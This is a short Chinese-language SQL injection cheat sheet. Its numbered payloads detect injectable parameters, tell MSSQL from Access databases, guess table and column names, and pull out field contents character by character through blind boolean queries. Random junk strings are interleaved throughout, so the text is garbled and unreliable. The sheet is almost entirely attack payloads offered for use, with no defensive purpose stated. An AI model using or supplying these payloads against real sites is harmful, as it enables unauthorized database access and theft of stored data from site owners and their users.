1.判断是否有注入;and 1=1 ;and 1=2 2@*<9-9
2.初步判断是否是mssql ;and user>0 Ql8^]gbp+
|D+p$^L
3.注入参数是字符'and [查询条件] and ''=' 2Pz 5f
D-D# `
4.搜索时没过滤参数的'and [查询条件] and '%25'=' WKOI\
RNe9h lr
5.判断数据库系统 9tAE#A
tNB%eb{
;and (select count(*) from sysobjects)>0 mssql ogp{rY
]CIe~q
;and (select count(*) from msysobjects)>0 access MYu`c[$jZ
'}CN?f|.
1q`k}KMy
T+(M8qb
6.猜数据库 ;and (select Count(*) from [数据库名])>0 X98#QR#m
,3k@L\$.x
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 OOfyGvs
<OIUyZS
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 IqXBz.p
yIWc\wv
9.(1)猜字段的ascii值(access) HM
90Sb
?0uOR*y'
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 A`IHP{aB
&M$Bt} <
(2)猜字段的ascii值(mssql) G"{4'LlA
3Qk/ Ll
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 *h:D|4oJ(
_TrZ'iL}T
10.测试权限结构(mssql) ;}UzJe ,S
'V1!&Q